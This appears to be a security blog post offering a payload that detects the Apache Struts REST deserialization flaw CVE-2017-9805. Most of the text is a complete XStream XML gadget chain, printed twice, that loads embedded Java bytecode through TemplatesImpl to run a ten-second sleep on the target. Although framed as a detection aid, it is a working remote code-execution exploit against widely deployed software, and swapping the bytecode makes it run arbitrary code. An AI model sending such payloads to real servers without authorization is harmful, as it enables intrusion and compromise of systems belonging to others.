Hi!

I built a new payload useful for the detection of the presence of the new Struts REST vulnerability ( CVE-2017-9805 ). It is a modification of the Metasploit one that uses TemplateImpl to execute a native Thread.Sleep(10000) (thanks frohoff ysoserial).

This modification provides a comfortable detection method. It is sufficient to execute the following payload against the target server. If the target is vulnerable, it will answer after 10 seconds!

It is also possible to use the Metasploit payload to execute a ping request toward a domain for which you are authoritative (obviously sniffing on the DNS authoritative server), but if there is a firewall on/in front of the target server it may filter DNS and ICMP traffic and consequently block this detection method. With a sleep payload, the detection is much more reliable.

Here is the detection payload:

CVE-2017-9805 sleep exploit <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" serialization="custom"> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <default> <__name>Pwnr</__name> <__bytecodes> <byte-array>yv66vgAAADIAMwoAAwAiBwAxBwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu dFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA 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</byte-array> <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu dFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2Vy aWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2 YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xh bmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRp bC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQAB AAAABSq3AAGxAAAAAgANAAAABgABAAAAOwAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAA AAoAAQACABYAEAAJ</byte-array> </__bytecodes> <__transletIndex>-1</__transletIndex> <__indentNumber>0</__indentNumber> </default> <boolean>false</boolean> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class> <name>newTransformer</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer/> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags> 0 </flags> <value class = "com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data" > <dataHandler> <dataSource class = "com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource" > <is class = "javax.crypto.CipherInputStream" > <cipher class = "javax.crypto.NullCipher" > <initialized> false </initialized> <opmode> 0 </opmode> <serviceIterator class = "javax.imageio.spi.FilterIterator" > <iter class = "javax.imageio.spi.FilterIterator" > <iter class = "java.util.Collections$EmptyIterator" /> <next class = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" serialization = "custom" > <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <default> <__name> Pwnr </__name> <__bytecodes> <byte-array> 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</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> </next> </iter> <filter class = "javax.imageio.ImageIO$ContainsFilter" > <method> <class> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl </class> <name> newTransformer </name> <parameter-types/> </method> <name> foo </name> </filter> <next class = "string" > foo </next> </serviceIterator> <lock/> </cipher> <input class = "java.lang.ProcessBuilder$NullInputStream" /> <ibuffer/> <done> false </done> <ostart> 0 </ostart> <ofinish> 0 </ofinish> <closed> false </closed> </is> <consumed> false </consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen> 0 </dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference = "../jdk.nashorn.internal.objects.NativeString" /> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference = "../../entry/jdk.nashorn.internal.objects.NativeString" /> <jdk.nashorn.internal.objects.NativeString reference = "../../entry/jdk.nashorn.internal.objects.NativeString" /> </entry> </map>

Enjoy!